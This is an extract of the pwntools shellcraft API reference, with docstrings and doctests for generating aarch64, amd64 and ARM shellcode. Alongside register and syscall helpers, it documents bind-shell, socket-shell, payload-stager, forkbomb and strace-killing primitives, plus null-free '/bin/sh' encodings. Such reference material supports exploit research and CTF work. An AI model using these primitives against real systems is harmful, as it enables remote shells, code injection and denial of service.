`pwnlib.shellcraft.aarch64.linux.`**`stage`**`(fd=0, length=None)`

> Migrates shellcode to a new buffer.

> **Parameters**

> - **fd** (`int`) – Integer file descriptor to recv data from. Default is stdin (0).

> - **length** (`int`) – Optional buffer length. If None, the first pointer-width of data received is the length.

> #### Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
'Hello\n'
```

`pwnlib.shellcraft.aarch64.linux.`**`syscall`**`(syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None, arg6=None)`

> **Args: [syscall_number, *args]** Does a syscall

> Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

> #### Example

```
>>> print shellcraft.aarch64.linux.syscall(11, 1, 'sp', 2, 0).rstrip()
    /* call syscall(11, 1, 'sp', 2, 0) */
    mov  x0, #1
    mov  x1, sp
    mov  x2, #2
    mov  x3, xzr
    mov  x8, #11
    svc 0
>>> print shellcraft.aarch64.linux.syscall('SYS_exit', 0).rstrip()
    /* call exit(0) */
    mov  x0, xzr
    mov  x8, #SYS_exit
    svc 0
```

```
>>> print pwnlib.shellcraft.openat(-2, '/home/pwn/flag').rstrip()
    /* openat(fd=-2, file='/home/pwn/flag', oflag=0) */
    /* push '/home/pwn/flag\x00' */
    /* Set x14 = 8606431000579237935 = 0x77702f656d6f682f */
    mov  x14, #26671
    movk x14, #28015, lsl #16
    movk x14, #12133, lsl #0x20
    movk x14, #30576, lsl #0x30
    /* Set x15 = 113668128124782 = 0x67616c662f6e */
    mov  x15, #12142
    movk x15, #27750, lsl #16
    movk x15, #26465, lsl #0x20
    stp x14, x15, [sp, #-16]!
    mov  x1, sp
    /* Set x0 = -2 = -2 */
    mov  x0, #65534
    movk x0, #65535, lsl #16
    movk x0, #65535, lsl #0x20
    movk x0, #65535, lsl #0x30
    mov  x2, xzr
    /* call openat() */
    mov  x8, #SYS_openat
    svc 0
```

`pwnlib.shellcraft.amd64` — Shellcode for AMD64

`pwnlib.shellcraft.amd64`

Shellcraft module containing generic Intel x86_64 shellcodes.

pwnlib.shellcraft.amd64.**crash**()
    Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

pwnlib.shellcraft.amd64.**infloop**()
    A two-byte infinite loop.

pwnlib.shellcraft.amd64.**itoa**(*v*, *buffer='rsp'*, *allocate_stack=True*)
    Converts an integer into its string representation, and pushes it onto the stack.

    Parameters

- **v** (*str*, *int*) – Integer constant or register that contains the value to convert.
- **alloca** –

Example

```
>>> sc = shellcraft.amd64.mov('rax', 0xdeadbeef)
>>> sc += shellcraft.amd64.itoa('rax')
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 32)
>>> run_assembly(sc).recvuntil('\x00')
'3735928559\x00'
```

pwnlib.shellcraft.amd64.**memcpy**(*dest*, *src*, *n*)
    Copies memory.

> **Parameters**
>
> - **dest** – Destination address
>
> - **src** – Source address
>
> - **n** – Number of bytes

pwnlib.shellcraft.amd64.**mov**(*dest*, *src*, *stack_allowed=True*)
    Move src into dest without newlines and null bytes.

    If the src is a register smaller than the dest, then it will be zero-extended to fit inside the larger register.

    If the src is a register larger than the dest, then only some of the bits will be used.

    If src is a string that is not a register, then it will locally set *context.arch* to *'amd64'* and use pwnlib.
    constants.eval() to evaluate the string. Note that this means that this shellcode can change behavior
    depending on the value of *context.os*.

Example

```
>>> print shellcraft.amd64.mov('eax','ebx').rstrip()
    mov eax, ebx
>>> print shellcraft.amd64.mov('eax', 0).rstrip()
    xor eax, eax /* 0 */
>>> print shellcraft.amd64.mov('ax', 0).rstrip()
    xor ax, ax /* 0 */
>>> print shellcraft.amd64.mov('rax', 0).rstrip()
    xor eax, eax /* 0 */
>>> print shellcraft.amd64.mov('rdi', 'ax').rstrip()
    movzx edi, ax
>>> print shellcraft.amd64.mov('al', 'ax').rstrip()
    /* moving ax into al, but this is a no-op */
>>> print shellcraft.amd64.mov('ax', 'bl').rstrip()
    movzx ax, bl
>>> print shellcraft.amd64.mov('eax', 1).rstrip()
    push 1
    pop rax
>>> print shellcraft.amd64.mov('rax', 0xc0).rstrip()
    xor eax, eax
    mov al, 0xc0
>>> print shellcraft.amd64.mov('rax', 0xc000).rstrip()
    xor eax, eax
    mov ah, 0xc000 >> 8
>>> print shellcraft.amd64.mov('rax', 0xc0c0).rstrip()
    xor eax, eax
    mov ax, 0xc0c0
```

```
>>> print shellcraft.amd64.mov('rdi', 0xff).rstrip()
    mov edi, 0x1010101 /* 255 == 0xff */
    xor edi, 0x10101fe
>>> print shellcraft.amd64.mov('rax', 0xdead00ff).rstrip()
    mov eax, 0x1010101 /* 3735879935 == 0xdead00ff */
    xor eax, 0xdfac01fe
>>> print shellcraft.amd64.mov('rax', 0x11dead00ff).rstrip()
    mov rax, 0x101010101010101 /* 76750323967 == 0x11dead00ff */
    push rax
    mov rax, 0x1010110dfac01fe
    xor [rsp], rax
    pop rax
>>> print shellcraft.amd64.mov('rax', 0xffffffff).rstrip()
    mov eax, 0xffffffff
>>> print shellcraft.amd64.mov('rax', 0x7fffffff).rstrip()
    mov eax, 0x7fffffff
>>> print shellcraft.amd64.mov('rax', 0x80010101).rstrip()
    mov eax, 0x80010101
>>> print shellcraft.amd64.mov('rax', 0x80000000).rstrip()
    mov eax, 0x1010101 /* 2147483648 == 0x80000000 */
    xor eax, 0x81010101
>>> print shellcraft.amd64.mov('rax', 0xffffffffffffffff).rstrip()
    push 0xffffffffffffffff
    pop rax
>>> with context.local(os = 'linux'):
...     print shellcraft.amd64.mov('eax', 'SYS_read').rstrip()
    xor eax, eax /* SYS_read */
>>> with context.local(os = 'freebsd'):
...     print shellcraft.amd64.mov('eax', 'SYS_read').rstrip()
    push SYS_read /* 3 */
    pop rax
>>> with context.local(os = 'linux'):
...     print shellcraft.amd64.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').
→rstrip()
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop rax
```

> Parameters
>> - **dest** (*str*) – The destination register.
>> - **src** (*str*) – Either the input register, or an immediate value.
>> - **stack_allowed** (*bool*) – Can the stack be used?

pwnlib.shellcraft.amd64.**nop**()
> A single-byte nop instruction.

pwnlib.shellcraft.amd64.**popad**()
> Pop all of the registers onto the stack which i386 popad does, in the same order.

pwnlib.shellcraft.amd64.**push**(*value*)
> Pushes a value onto the stack without using null bytes or newline characters.

> If src is a string, then we try to evaluate with *context.arch = 'amd64'* using pwnlib.constants.eval() before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

>> Parameters **value** (*int, str*) – The value or register to push

Example

```
>>> print pwnlib.shellcraft.amd64.push(0).rstrip()
    /* push 0 */
    push 1
    dec byte ptr [rsp]
>>> print pwnlib.shellcraft.amd64.push(1).rstrip()
    /* push 1 */
    push 1
>>> print pwnlib.shellcraft.amd64.push(256).rstrip()
    /* push 256 */
    push 0x1010201 ^ 0x100
    xor dword ptr [rsp], 0x1010201
>>> with context.local(os = 'linux'):
...     print pwnlib.shellcraft.amd64.push('SYS_write').rstrip()
    /* push 'SYS_write' */
    push 1
>>> with context.local(os = 'freebsd'):
...     print pwnlib.shellcraft.amd64.push('SYS_write').rstrip()
    /* push 'SYS_write' */
    push 4
```

pwnlib.shellcraft.amd64.**pushad**()
> Push all of the registers onto the stack which i386 pushad does, in the same order.

pwnlib.shellcraft.amd64.**pushstr**(*string*, *append_null=True*)
> Pushes a string onto the stack without using null bytes or newline characters.

Example

```
>>> print shellcraft.amd64.pushstr('').rstrip()
    /* push '\x00' */
    push 1
    dec byte ptr [rsp]
>>> print shellcraft.amd64.pushstr('a').rstrip()
    /* push 'a\x00' */
    push 0x61
>>> print shellcraft.amd64.pushstr('aa').rstrip()
    /* push 'aa\x00' */
    push 0x1010101 ^ 0x6161
    xor dword ptr [rsp], 0x1010101
>>> print shellcraft.amd64.pushstr('aaa').rstrip()
    /* push 'aaa\x00' */
    push 0x1010101 ^ 0x616161
    xor dword ptr [rsp], 0x1010101
>>> print shellcraft.amd64.pushstr('aaaa').rstrip()
    /* push 'aaaa\x00' */
    push 0x61616161
>>> print shellcraft.amd64.pushstr('aaa\xc3').rstrip()
    /* push 'aaa\xc3\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0xc3616161
    xor [rsp], rax
>>> print shellcraft.amd64.pushstr('aaa\xc3', append_null = False).rstrip()
```

```
      /* push 'aaa\xc3' */
      push -0x3c9e9e9f
>>> print shellcraft.amd64.pushstr('\xc3').rstrip()
      /* push '\xc3\x00' */
      push 0x1010101 ^ 0xc3
      xor dword ptr [rsp], 0x1010101
>>> print shellcraft.amd64.pushstr('\xc3', append_null = False).rstrip()
      /* push '\xc3' */
      push -0x3d
>>> with context.local():
...     context.arch = 'amd64'
...     print enhex(asm(shellcraft.pushstr("/bin/sh")))
48b8010101010101010150 48b82e63686f2e72690148310424
>>> with context.local():
...     context.arch = 'amd64'
...     print enhex(asm(shellcraft.pushstr("")))
6a01fe0c24
>>> with context.local():
...     context.arch = 'amd64'
...     print enhex(asm(shellcraft.pushstr("\x00", False)))
6a01fe0c24
```

> **Parameters**
>
> > • **string** (`str`) – The string to push.
> >
> > • **append_null** (`bool`) – Whether to append a single NULL-byte before pushing.

pwnlib.shellcraft.amd64.**pushstr_array**(*reg*, *array*)

> Pushes an array/envp-style array of pointers onto the stack.
>
> > **Parameters**
> >
> > > • **reg** (`str`) – Destination register to hold the pointer.
> > >
> > > • **array** (`str, list`) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

pwnlib.shellcraft.amd64.**ret**(*return_value=None*)

> A single-byte RET instruction.
>
> > **Parameters return_value** – Value to return

pwnlib.shellcraft.amd64.**setregs**(*reg_context*, *stack_allowed=True*)

> Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).
>
> > **Parameters**
> >
> > > • **reg_context** (`dict`) – Desired register context
> > >
> > > • **stack_allowed** (`bool`) – Can the stack be used?

Example

```
>>> print shellcraft.setregs({'rax':1, 'rbx':'rax'}).rstrip()
    mov rbx, rax
    push 1
    pop rax
```

```
>>> print shellcraft.setregs({'rax': 'SYS_write', 'rbx':'rax'}).rstrip()
    mov rbx, rax
    push SYS_write /* 1 */
    pop rax
>>> print shellcraft.setregs({'rax':'rbx', 'rbx':'rax', 'rcx':'rbx'}).rstrip()
    mov rcx, rbx
    xchg rax, rbx
>>> print shellcraft.setregs({'rax':1, 'rdx':0}).rstrip()
    push 1
    pop rax
    cdq /* rdx=0 */
```

pwnlib.shellcraft.amd64.**strcpy**(*dst*, *src*)

> Copies a string

Example

```
>>> sc  = 'jmp get_str\n'
>>> sc += 'pop_str: pop rax\n'
>>> sc += shellcraft.amd64.strcpy('rsp', 'rax')
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 32)
>>> sc += shellcraft.amd64.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).recvline()
'Hello, world\n'
```

pwnlib.shellcraft.amd64.**strlen**(*string*, *reg='rcx'*)

> Calculate the length of the specified string.
>
> > **Parameters**
> >
> > - **string** (*str*) – Register or address with the string
> >
> > - **reg** (*str*) – Named register to return the value in, rcx is the default.

Example

```
>>> sc  = 'jmp get_str\n'
>>> sc += 'pop_str: pop rdi\n'
>>> sc += shellcraft.amd64.strlen('rdi', 'rax')
>>> sc += 'push rax;'
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 8)
>>> sc += shellcraft.amd64.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).unpack() == len('Hello, world\n')
True
```

pwnlib.shellcraft.amd64.**trap**()

> A trap instruction.

pwnlib.shellcraft.amd64.**xor**(*key*, *address*, *count*)

> XORs data a constant value.

Parameters

- **key** (`int, str`) – XOR key either as a 8-byte integer, If a string, length must be a power of two, and not longer than 8 bytes. Alternately, may be a register.

- **address** (`int`) – Address of the data (e.g. 0xdead0000, 'esp')

- **count** (`int`) – Number of bytes to XOR, or a register containing the number of bytes to XOR.

Example

```
>>> sc  = shellcraft.read(0, 'rsp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'rsp', 32)
>>> sc += shellcraft.write(1, 'rsp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recvn(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.amd64.linux

Shellcraft module containing Intel x86_64 shellcodes for Linux.

pwnlib.shellcraft.amd64.linux.**bindsh** (*port*, *network*)
    Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

pwnlib.shellcraft.amd64.linux.**cat** (*filename*, *fd=1*)
    Opens a file and writes its contents to the specified file descriptor.

pwnlib.shellcraft.amd64.linux.**connect** (*host*, *port*, *network='ipv4'*)
    Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in rbp.

pwnlib.shellcraft.amd64.linux.**connectstager** (*host*, *port*, *network='ipv4'*)
    connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

pwnlib.shellcraft.amd64.linux.**dup** (*sock='rbp'*)
    Args: [sock (imm/reg) = rbp] Duplicates sock to stdin, stdout and stderr

pwnlib.shellcraft.amd64.linux.**dupsh** (*sock='rbp'*)
    Args: [sock (imm/reg) = rbp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

pwnlib.shellcraft.amd64.linux.**echo** (*string*, *sock='1'*)
    Writes a string to a file descriptor

pwnlib.shellcraft.amd64.linux.**egghunter** (*egg*, *start_address = 0*)
    Searches memory for the byte sequence 'egg'.

    Return value is the address immediately following the match, stored in RDI.

    Parameters

- **egg** (`str, int`) – String of bytes, or word-size integer to search for

> • **start_address** (*int*) – Where to start the search

pwnlib.shellcraft.amd64.linux.**findpeer**(*port=None*)

> Args: port (defaults to any port) Finds a socket, which is connected to the specified port. Leaves socket in RDI.

pwnlib.shellcraft.amd64.linux.**findpeersh**(*port=None*)

> Args: port (defaults to any) Finds an open socket which connects to a specified port, and then opens a dup2 shell on it.

pwnlib.shellcraft.amd64.linux.**findpeerstager**(*port=None*)

> Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

pwnlib.shellcraft.amd64.linux.**forkbomb**()

> Performs a forkbomb attack.

pwnlib.shellcraft.amd64.linux.**forkexit**()

> Attempts to fork. If the fork is successful, the parent exits.

pwnlib.shellcraft.amd64.linux.**getpid**()

> Retrieve the current PID

pwnlib.shellcraft.amd64.linux.**kill**(*pid*, *signal='SIGKILL'*)

> Writes a string to a file descriptor

pwnlib.shellcraft.amd64.linux.**killparent**()

> Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

pwnlib.shellcraft.amd64.linux.**listen**(*port*, *network*)

> Listens on a TCP port, accept a client and leave his socket in RAX. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

pwnlib.shellcraft.amd64.linux.**loader**(*address*)

> Loads a statically-linked ELF into memory and transfers control.
>
> > **Parameters address** (*int*) – Address of the ELF as a register or integer.

pwnlib.shellcraft.amd64.linux.**loader_append**(*data=None*)

> Loads a statically-linked ELF into memory and transfers control.
>
> Similar to loader.asm but loads an appended ELF.
>
> > **Parameters data** (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If None, it is ignored.

Example

```
>>> gcc = process(['gcc','-m64','-xc','-static','-Wl,-Ttext-segment=0x20000000','-'])
>>> gcc.write('''
... int main() {
...     printf("Hello, %s!\\n", "amd64");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True)
0
>>> sc = shellcraft.loader_append('a.out')
```

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

> \# >>> run_assembly(sc).recvline() == 'Hello, amd64!n' # True

`pwnlib.shellcraft.amd64.linux.`**`membot`**(*readsock=0*, *writesock=1*)

　　Read-write access to a remote process' memory.

　　Provide a single pointer-width value to determine the operation to perform:

- 0: Exit the loop

- 1: Read data

- 2: Write data

`pwnlib.shellcraft.amd64.linux.`**`migrate_stack`**(*size=1048576*, *fd=0*)

　　Migrates to a new stack.

`pwnlib.shellcraft.amd64.linux.`**`mmap_rwx`**(*size=4096*, *protection=7*, *address=None*)

　　Maps some memory

`pwnlib.shellcraft.amd64.linux.`**`read`**(*fd=0*, *buffer='rsp'*, *count=8*)

　　Reads data from the file descriptor into the provided buffer. This is a one-shot and does not fill the request.

`pwnlib.shellcraft.amd64.linux.`**`read_upto`**(*fd=0*, *buffer='rsp'*, *sizereg='rdx'*)

　　Reads up to N bytes 8 bytes into the specified register

`pwnlib.shellcraft.amd64.linux.`**`readfile`**(*path*, *dst='rdi'*)

　　Args: [path, dst (imm/reg) = rdi] Opens the specified file path and sends its content to the specified file descriptor.

`pwnlib.shellcraft.amd64.linux.`**`readinto`**(*sock=0*)

　　Reads into a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

`pwnlib.shellcraft.amd64.linux.`**`readloop`**(*sock=0*)

　　Reads into a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

`pwnlib.shellcraft.amd64.linux.`**`readn`**(*fd*, *buf*, *nbytes*)

　　Reads exactly nbytes bytes from file descriptor fd into the buffer buf.

　　　　Parameters

- **`fd`** (`int`) – fd

- **`buf`** (`void`) – buf

- **`nbytes`** (`size_t`) – nbytes

`pwnlib.shellcraft.amd64.linux.`**`readptr`**(*fd=0*, *target_reg='rdx'*)

　　Reads 8 bytes into the specified register

`pwnlib.shellcraft.amd64.linux.`**`recvsize`**(*sock*, *reg='rcx'*)

　　Recives 4 bytes size field Useful in conjuncion with findpeer and stager :param sock, the socket to read the payload from.: :param reg, the place to put the size: :type reg, the place to put the size: default ecx

　　Leaves socket in ebx

`pwnlib.shellcraft.amd64.linux.`**`setregid`**(*gid='egid'*)

　　Args: [gid (imm/reg) = egid] Sets the real and effective group id.

`pwnlib.shellcraft.amd64.linux.`**`setreuid`**(*uid='euid'*)

　　Args: [uid (imm/reg) = euid] Sets the real and effective user id.

`pwnlib.shellcraft.amd64.linux.`**`sh`**()

　　Execute a different process.

```
>>> p = run_assembly(shellcraft.amd64.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

pwnlib.shellcraft.amd64.linux.**socket**(*network='ipv4'*, *proto='tcp'*)
  Creates a new socket

pwnlib.shellcraft.amd64.linux.**stage**(*fd=0*, *length=None*)
  Migrates shellcode to a new buffer.

  Parameters

  - **fd** (*int*) – Integer file descriptor to recv data from. Default is stdin (0).

  - **length** (*int*) – Optional buffer length. If None, the first pointer-width of data received is the length.

  Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
'Hello\n'
```

pwnlib.shellcraft.amd64.linux.**stager**(*sock*, *size*, *handle_error=False*)
  Recives a fixed sized payload into a mmaped buffer Useful in conjuncion with findpeer. After running the socket will be left in RDI. :param sock, the socket to read the payload from.: :param size, the size of the payload:

pwnlib.shellcraft.amd64.linux.**strace_dos**()
  Kills strace

pwnlib.shellcraft.amd64.linux.**syscall**(*syscall=None*, *arg0=None*, *arg1=None*, *arg2=None*, *arg3=None*, *arg4=None*, *arg5=None*)

  Args: [syscall_number, *args] Does a syscall

  Any of the arguments can be expressions to be evaluated by pwnlib.constants.eval().

  Example

```
>>> print pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 1, 'rsp', 2, 0).
↪rstrip()
    /* call execve(1, 'rsp', 2, 0) */
    xor r10d, r10d /* 0 */
    push SYS_execve /* 0x3b */
    pop rax
    push 1
    pop rdi
    push 2
    pop rdx
    mov rsi, rsp
    syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 2, 1, 0, -1).
↪rstrip()
```
(continues on next page)

```
    /* call execve(2, 1, 0, -1) */
    push -1
    pop r10
    push SYS_execve /* 0x3b */
    pop rax
    push 2
    pop rdi
    push 1
    pop rsi
    cdq /* rdx=0 */
    syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall().rstrip()
    /* call syscall() */
    syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall('rax', 'rdi', 'rsi').rstrip()
    /* call syscall('rax', 'rdi', 'rsi') */
    /* setregs noop */
    syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall('rbp', None, None, 1).rstrip()
    /* call syscall('rbp', ?, ?, 1) */
    mov rax, rbp
    push 1
    pop rdx
    syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall(
...                 'SYS_mmap', 0, 0x1000,
...                 'PROT_READ | PROT_WRITE | PROT_EXEC',
...                 'MAP_PRIVATE | MAP_ANONYMOUS',
...                 -1, 0).rstrip()
    /* call mmap(0, 4096, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE |␣
→MAP_ANONYMOUS', -1, 0) */
    push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
    pop r10
    push -1
    pop r8
    xor r9d, r9d /* 0 */
    push SYS_mmap /* 9 */
    pop rax
    xor edi, edi /* 0 */
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop rdx
    mov esi, 0x1010101 /* 4096 == 0x1000 */
    xor esi, 0x1011101
    syscall
>>> print pwnlib.shellcraft.open('/home/pwn/flag').rstrip()
    /* open(file='/home/pwn/flag', oflag=0, mode=0) */
    /* push '/home/pwn/flag\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f6e
    xor [rsp], rax
    mov rax, 0x77702f656d6f682f
    push rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call open() */
```

```
    push SYS_open /* 2 */
    pop rax
    syscall
```

pwnlib.shellcraft.amd64.linux.**writeloop**(*readsock=0*, *writesock=1*)
> Reads from a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

pwnlib.shellcraft.arm — Shellcode for ARM

pwnlib.shellcraft.arm

Shellcraft module containing generic ARM little endian shellcodes.

pwnlib.shellcraft.arm.**crash**()
> Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

pwnlib.shellcraft.arm.**infloop**()
> An infinite loop.

pwnlib.shellcraft.arm.**itoa**(*v*, *buffer='sp'*, *allocate_stack=True*)
> Converts an integer into its string representation, and pushes it onto the stack. Uses registers r0-r5.

> **Parameters**
> - **v** (*str, int*) – Integer constant or register that contains the value to convert.
> - **alloca** –

Example

```
>>> sc = shellcraft.arm.mov('r0', 0xdeadbeef)
>>> sc += shellcraft.arm.itoa('r0')
>>> sc += shellcraft.arm.linux.write(1, 'sp', 32)
>>> run_assembly(sc).recvuntil('\x00')
'3735928559\x00'
```

pwnlib.shellcraft.arm.**memcpy**(*dest*, *src*, *n*)
> Copies memory.

> **Parameters**
> - **dest** – Destination address
> - **src** – Source address
> - **n** – Number of bytes

`pwnlib.shellcraft.arm.`**`mov`**(*dst*, *src*)

> Move src into dest.
>
> Support for automatically avoiding newline and null bytes has to be done.
>
> If src is a string that is not a register, then it will locally set *context.arch* to *'arm'* and use `pwnlib.` `constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Examples

```
>>> print shellcraft.arm.mov('r0','r1').rstrip()
    mov  r0, r1
>>> print shellcraft.arm.mov('r0', 5).rstrip()
    mov  r0, #5
>>> print shellcraft.arm.mov('r0', 0x34532).rstrip()
    movw r0, #0x34532 & 0xffff
    movt r0, #0x34532 >> 16
>>> print shellcraft.arm.mov('r0', 0x101).rstrip()
    movw r0, #0x101
>>> print shellcraft.arm.mov('r0', 0xff << 14).rstrip()
    mov  r0, #0x3fc000
>>> print shellcraft.arm.mov('r0', 0xff << 15).rstrip()
    movw r0, #0x7f8000 & 0xffff
    movt r0, #0x7f8000 >> 16
>>> print shellcraft.arm.mov('r0', 0xf00d0000).rstrip()
    eor  r0, r0
    movt r0, #0xf00d0000 >> 16
>>> print shellcraft.arm.mov('r0', 0xffff00ff).rstrip()
    mvn  r0, #(0xffff00ff ^ (-1))
>>> print shellcraft.arm.mov('r0', 0x1fffffff).rstrip()
    mvn  r0, #(0x1fffffff ^ (-1))
```

> Parameters
>
> - **dest** (*str*) – ke destination register.
>
> - **src** (*str*) – Either the input register, or an immediate value.

`pwnlib.shellcraft.arm.`**`nop`**()

> A nop instruction.

`pwnlib.shellcraft.arm.`**`push`**(*word*, *register='r12'*)

> Pushes a 32-bit integer onto the stack. Uses r12 as a temporary register.
>
> r12 is defined as the inter-procedural scartch register ($ip), so this should not interfere with most usage.
>
> Parameters
>
> - **word** (*int, str*) – The word to push
>
> - **tmpreg** (*str*) – Register to use as a temporary register. R7 is used by default.

`pwnlib.shellcraft.arm.`**`pushstr`**(*string*, *append_null=True*, *register='r7'*)

> Pushes a string onto the stack.
>
> Parameters
>
> - **string** (*str*) – The string to push.

- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

- **register** (*str*) – Temporary register to use. By default, R7 is used.

Examples

```
>>> print shellcraft.arm.pushstr("Hello!").rstrip()
    /* push 'Hello!\x00A' */
    movw r7, #0x4100216f & 0xffff
    movt r7, #0x4100216f >> 16
    push {r7}
    movw r7, #0x6c6c6548 & 0xffff
    movt r7, #0x6c6c6548 >> 16
    push {r7}
```

pwnlib.shellcraft.arm.**pushstr_array**(*reg*, *array*)
   Pushes an array/envp-style array of pointers onto the stack.

   Parameters

- **reg** (*str*) – Destination register to hold the pointer.

- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

pwnlib.shellcraft.arm.**ret**(*return_value=None*)
   A single-byte RET instruction.

   Parameters return_value – Value to return

Examples

```
>>> with context.local(arch='arm'):
...     print enhex(asm(shellcraft.ret()))
...     print enhex(asm(shellcraft.ret(0)))
...     print enhex(asm(shellcraft.ret(0xdeadbeef)))
1eff2fe1
000020e01eff2fe1
ef0e0be3ad0e4de31eff2fe1
```

pwnlib.shellcraft.arm.**setregs**(*reg_context*, *stack_allowed=True*)
   Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

   Parameters

- **reg_context** (*dict*) – Desired register context

- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print shellcraft.setregs({'r0':1, 'r2':'r3'}).rstrip()
    mov  r0, #1
    mov  r2, r3
>>> print shellcraft.setregs({'r0':'r1', 'r1':'r0', 'r2':'r3'}).rstrip()
```

(continues on next page)

```
    mov  r2, r3
    eor  r0, r0, r1 /* xchg r0, r1 */
    eor  r1, r0, r1
    eor  r0, r0, r1
```

pwnlib.shellcraft.arm.**to_thumb**(*reg=None*, *avoid=[]*)
    Go from ARM to THUMB mode.

pwnlib.shellcraft.arm.**trap**()
    A trap instruction.

pwnlib.shellcraft.arm.**udiv_10**(*N*)
    Divides r0 by 10. Result is stored in r0, N and Z flags are updated.

    Code is from generated from here: https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/
        master/chapter15/magic.py

    With code: python magic.py 10 code_for_unsigned

pwnlib.shellcraft.arm.**xor**(*key*, *address*, *count*)
    XORs data a constant value.

> **Parameters**
>
> > • **key** (*int, str*) – XOR key either as a 4-byte integer, If a string, length must be a power
> > of two, and not longer than 4 bytes.
> >
> > • **address** (*int*) – Address of the data (e.g. 0xdead0000, 'rsp')
> >
> > • **count** (*int*) – Number of bytes to XOR.

Example

```
>>> sc  = shellcraft.read(0, 'sp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'sp', 32)
>>> sc += shellcraft.write(1, 'sp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recvn(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.arm.linux

Shellcraft module containing ARM shellcodes for Linux.

pwnlib.shellcraft.arm.linux.**cacheflush**()
    Invokes the cache-flush operation, without using any NULL or newline bytes.

    Effectively is just:

> mov r0, #0 mov r1, #-1 mov r2, #0 swi 0x9F0002

    How this works:

. . . However, SWI generates a software interrupt and to the interrupt handler, 0x9F0002 is actually data and as a result will not be read via the instruction cache, so if we modify the argument to SWI in our self-modifyign code, the argument will be read correctly.

pwnlib.shellcraft.arm.linux.**cat** (*filename*, *fd=1*)
    Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.linux.cat(f)).recvline()
'FLAG\n'
```

pwnlib.shellcraft.arm.linux.**connect** (*host*, *port*, *network='ipv4'*)
    Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in R6.

pwnlib.shellcraft.arm.linux.**dir** (*in_fd='r6'*, *size=2048*, *allocate_stack=True*)
    Reads to the stack from a directory.

> **Parameters**
>
> • **in_fd** (*int/str*) – File descriptor to be read from.
>
> • **size** (*int*) – Buffer size.
>
> • **allocate_stack** (*bool*) – allocate 'size' bytes on the stack.

You can optioanlly shave a few bytes not allocating the stack space.

The size read is left in eax.

pwnlib.shellcraft.arm.linux.**echo** (*string*, *sock='1'*)
    Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
'hello\n'
